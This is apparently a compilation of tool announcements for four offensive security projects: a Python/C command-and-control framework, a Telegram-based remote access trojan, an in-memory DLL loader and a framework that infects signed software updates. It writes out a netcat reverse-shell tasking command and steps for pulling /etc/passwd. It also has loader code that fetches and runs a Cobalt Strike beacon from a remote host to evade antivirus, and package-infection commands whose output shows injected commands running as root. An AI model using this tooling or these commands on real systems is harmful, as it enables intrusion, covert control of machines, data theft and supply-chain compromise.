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Commander - A Command And Control (C2) Server

By: Zion3R


Commander is a command and control framework (C2) written in Python, Flask and SQLite. ItΒ comes with two agents written in Python and C.

Under Continuous Development

Not script-kiddie friendly


Features

  • Fully encrypted communication (TLS)
  • Multiple Agents
  • Obfuscation
  • Interactive Sessions
  • Scalable
  • Base64 data encoding
  • RESTful API

Agents

  • Python 3
    • The python agent supports:
      • sessions, an interactive shell between the admin and the agent (like ssh)
      • obfuscation
      • Both Windows and Linux systems
      • download/upload files functionality
  • C
    • The C agent supports only the basic functionality for now, the control of tasks for the agents
    • Only for Linux systems

Requirements

Python >= 3.6 is required to run and the following dependencies

Linux for the admin.py and c2_server.py. (Untested for windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

How to Use it

First create the required certs and keys

# if you want to secure your key with a passphrase exclude the -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Start the admin.py module first in order to create a local sqlite db file

python3 admin.py

Continue by running the server

python3 c2_server.py

And last the agent. For the python case agent you can just run it but in the case of the C agent you need to compile it first.

# python agent
python3 agent.py

# C agent
gcc agent.c -o agent -lcurl -lb64
./agent

By default both the Agents and the server are running over TLS and base64. The communication point is set to 127.0.0.1:5000 and in case a different point is needed it should be changed in Agents source files.

As the Operator/Administrator you can use the following commands to control your agents

Commands:

task add arg c2-commands
Add a task to an agent, to a group or on all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
c2-commands: possible values are c2-register c2-shell c2-sleep c2-quit
c2-register: Triggers the agent to register again.
c2-shell cmd: It takes an shell command for the agent to execute. eg. c2-shell whoami
cmd: The command to execute.
c2-sleep: Configure the interval that an agent will check for tasks.
c2-session port: Instructs the agent to open a shell session with the server to this port.
port: The port to connect to. If it is not provided it defaults to 5555.
c2-quit: Forces an agent to quit.

task delete arg
Delete a task from an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show agent arg
Displays inf o for all the availiable agents or for specific agent.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show task arg
Displays the task of an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show result arg
Displays the history/result of an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
find active agents
Drops the database so that the active agents will be registered again.

exit
Bye Bye!


Sessions:

sessions server arg [port]
Controls a session handler.
arg: can have the following values: 'start' , 'stop' 'status'
port: port is optional for the start arg and if it is not provided it defaults to 5555. This argument defines the port of the sessions server
sessions select arg
Select in which session to attach.
arg: the index from the 'sessions list' result
sessions close arg
Close a session.
arg: the index from the 'sessions list' result
sessions list
Displays the availiable sessions
local-ls directory
Lists on your host the files on the selected directory
download 'file'
Downloads the 'file' locally on the current directory
upload 'file'
Uploads a file in the directory where the agent currently is

Special attention should be given to the 'find active agents' command. This command deletes all the tables and creates them again. It might sound scary but it is not, at least that is what i believe :P

The idea behind this functionality is that the c2 server can request from an agent to re-register at the case that it doesn't recognize him. So, since we want to clear the db from unused old entries and at the same time find all the currently active hosts we can drop the tables and trigger the re-register mechanism of the c2 server. See below for the re-registration mechanism.

Flows

Below you can find a normal flow diagram

Normal Flow

In case where the environment experiences a major failure like a corrupted database or some other critical failure the re-registration mechanism is enabled so we don't lose our connection with our agents.

More specifically, in case where we lose the database we will not have any information about the uuids that we are receiving thus we can't set tasks on them etc... So, the agents will keep trying to retrieve their tasks and since we don't recognize them we will ask them to register again so we can insert them in our database and we can control them again.

Below is the flow diagram for this case.

Re-register Flow

Useful examples

To setup your environment start the admin.py first and then the c2_server.py and run the agent. After you can check the availiable agents.

# show all availiable agents
show agent all

To instruct all the agents to run the command "id" you can do it like this:

To check the history/ previous results of executed tasks for a specific agent do it like this:
# check the results of a specific agent
show result 85913eb1245d40eb96cf53eaf0b1e241

You can also change the interval of the agents that checks for tasks to 30 seconds like this:

# to set it for all agents
task add all c2-sleep 30

To open a session with one or more of your agents do the following.

# find the agent/uuid
show agent all

# enable the server to accept connections
sessions server start 5555

# add a task for a session to your prefered agent
task add your_prefered_agent_uuid_here c2-session 5555

# display a list of available connections
sessions list

# select to attach to one of the sessions, lets select 0
sessions select 0

# run a command
id

# download the passwd file locally
download /etc/passwd

# list your files locally to check that passwd was created
local-ls

# upload a file (test.txt) in the directory where the agent is
upload test.txt

# return to the main cli
go back

# check if the server is running
sessions server status

# stop the sessions server
sessions server stop

If for some reason you want to run another external session like with netcat or metaspolit do the following.

# show all availiable agents
show agent all

# first open a netcat on your machine
nc -vnlp 4444

# add a task to open a reverse shell for a specific agent
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

This way you will have a 'die hard' shell that even if you get disconnected it will get back up immediately. Only the interactive commands will make it die permanently.

Obfuscation

The python Agent offers obfuscation using a basic AES ECB encryption and base64 encoding

Edit the obfuscator.py file and change the 'key' value to a 16 char length key in order to create a custom payload. The output of the new agent can be found in Agents/obs_agent.py

You can run it like this:

python3 obfuscator.py

# and to run the agent, do as usual
python3 obs_agent.py

Tips &Tricks

  1. The build-in flask app server can't handle multiple/concurrent requests. So, you can use the gunicorn server for better performance like this:
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 
  1. Create a binary file for your python agent like this
pip install pyinstaller
pyinstaller --onefile agent.py

The binary can be found under the dist directory.

In case something fails you may need to update your python and pip libs. If it continues failing then ..well.. life happened

  1. Create new certs in each engagement

  2. Backup your c2.db, it is easy... just a file

Testing

pytest was used for the testing. You can run the tests like this:

cd tests/
py.test

Be careful: You must run the tests inside the tests directory otherwise your c2.db will be overwritten and you will lose your data

To check the code coverage and produce a nice html report you can use this:

# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html

Disclaimer: This tool is only intended to be a proof of concept demonstration tool for authorized security testing. Running this tool against hosts that you do not have explicit permission to test is illegal. You are responsible for any trouble you may cause by using this tool.



TelegramRAT - Cross Platform Telegram Based RAT That Communicates Via Telegram To Evade Network Restrictions

By: Zion3R


Cross Platform Telegram based RAT that communicates via telegram to evade network restrictions


Installation:

1. git clone https://github.com/machine1337/TelegramRAT.git
2. Now Follow the instructions in HOW TO USE Section.

HOW TO USE:

1. Go to Telegram and search for https://t.me/BotFather
2. Create Bot and get the API_TOKEN
3. Now search for https://t.me/chatIDrobot and get the chat_id
4. Now Go to client.py and go to line 16 and 17 and place API_TOKEN and chat_id there
5. Now run python client.py For Windows and python3 client.py For Linux
6. Now Go to the bot which u created and send command in message field

HELP MENU:

HELP MENU: Coded By Machine1337
CMD Commands | Execute cmd commands directly in bot
cd .. | Change the current directory
cd foldername | Change to current folder
download filename | Download File From Target
screenshot | Capture Screenshot
info | Get System Info
location | Get Target Location

Features:

1. Execute Shell Commands in bot directly.
2. download file from client.
3. Get Client System Information.
4. Get Client Location Information.
5. Capture Screenshot
6. More features will be added

Author:

Coded By: Machine1337
Contact: https://t.me/R0ot1337


PythonMemoryModule - Pure-Python Implementation Of MemoryModule Technique To Load Dll And Unmanaged Exe Entirely From Memory

By: Zion3R


"Python memory module" AI generated pic - hotpot.ai


pure-python implementation of MemoryModule technique to load a dll or unmanaged exe entirely from memory

What is it

PythonMemoryModule is a Python ctypes porting of the MemoryModule technique originally published by Joachim Bauch. It can load a dll or unmanaged exe using Python without requiring the use of an external library (pyd). It leverages pefile to parse PE headers and ctypes.

The tool was originally thought to be used as a Pyramid module to provide evasion against AV/EDR by loading dll/exe payloads in python.exe entirely from memory, however other use-cases are possible (IP protection, pyds in-memory loading, spinoffs for other stealthier techniques) so I decided to create a dedicated repo.


Why it can be useful

  1. It basically allows to use the MemoryModule techinque entirely in Python interpreted language, enabling the loading of a dll from a memory buffer using the stock signed python.exe binary without requiring dropping on disk external code/libraries (such as pymemorymodule bindings) that can be flagged by AV/EDRs or can raise user's suspicion.
  2. Using MemoryModule technique in compiled languages loaders would require to embed MemoryModule code within the loaders themselves. This can be avoided using Python interpreted language and PythonMemoryModule since the code can be executed dynamically and in memory.
  3. you can get some level of Intellectual Property protection by dynamically in-memory downloading, decrypting and loading dlls that should be hidden from prying eyes. Bear in mind that the dlls can be still recovered from memory and reverse-engineered, but at least it would require some more effort by the attacker.
  4. you can load a stageless payload dll without performing injection or shellcode execution. The loading process mimics the LoadLibrary Windows API (which takes a path on disk as input) without actually calling it and operating in memory.

How to use it

In the following example a Cobalt Strike stageless beacon dll is downloaded (not saved on disk), loaded in memory and started by calling the entrypoint.

import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

Note: if you use staging in your malleable profile the dll would not be able to load with LoadLibrary, hence MemoryModule won't work.

How to detect it

Using the MemoryModule technique will mostly respect the sections' permissions of the target DLL and avoid the noisy RWX approach. However within the program memory there will be a private commit not backed by a dll on disk and this is a MemoryModule telltale.

Future improvements

  1. add support for argument parsing.
  2. add support (basic) for .NET assemblies execution.


Sh4D0Wup - Signing-key Abuse And Update Exploitation Framework


Signing-key abuse and update exploitation framework.

% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
bait Start a malicious update server
front Bind a http/https server but forward everything unmodified
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Interact with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
req Emulate a http request to test routing and selectors
completion s Generate shell completions
help Print this message or the help of the given subcommand(s)

Options:
-v, --verbose... Increase logging output (can be used multiple times)
-q, --quiet... Reduce logging output (can be used multiple times)
-h, --help Print help information
-V, --version Print version information

What are shadow updates?

Have you ever wondered if the update you downloaded is the same one everybody else gets or did you get a different one that was made just for you? Shadow updates are updates that officially don't exist but carry valid signatures and would get accepted by clients as genuine. This may happen if the signing key is compromised by hackers or if a release engineer with legitimate access turns grimy.

sh4d0wup is a malicious http/https update server that acts as a reverse proxy in front of a legitimate server and can infect + sign various artifact formats. Attacks are configured in plots that describe how http request routing works, how artifacts are patched/generated, how they should be signed and with which key. A route can have selectors so it matches only if eg. the user-agent matches a pattern or if the client is connecting from a specific ip address. For development and testing, mock signing keys/certificates can be generated and marked as trusted.

Compile a plot

Some plots are more complex to run than others, to avoid long startup time due to downloads and artifact patching, you can build a plot in advance. This also allows to create signatures in advance.

sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

Run a plot

This spawns a malicious http update server according to the plot. This also accepts yaml files but they may take longer to start.

sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

You can find examples here:

Infect an artifact

sh4d0wup infect elf

% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
bait Start a malicious update server
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Intera ct with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
completions Generate shell completions
help Print this message or the help of the given subcommand(s)

Options:
-v, --verbose... Turn debugging information on
-h, --help Print help information

sh4d0wup infect pacman

% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size: 13.36 MiB
Net Upgrade Size: 0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring [#######################################] 100%
(1/1) checking package integrity [#######################################] 100%
(1/1) loading package files [#######################################] 100%
(1/1) checking for file conflic ts [#######################################] 100%
(1/1) checking available disk space [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

sh4d0wup infect deb

% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
ca-certificates
The following packages will be upgraded:
apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: de laying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...

sh4d0wup infect oci

Bruteforce git commit partial collisions

Here's a short oneliner on how to take the latest commit from a git repository, send it to a remote computer that has sh4d0wup installed to tweak it until the commit id starts with the provided --collision-prefix and then inserts the new commit back into the repository on your local computer:

% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin

This may take some time, eventually it shows a commit id that you can use to create a new branch:

git show 777754fde8...
git branch some-name 777754fde8...


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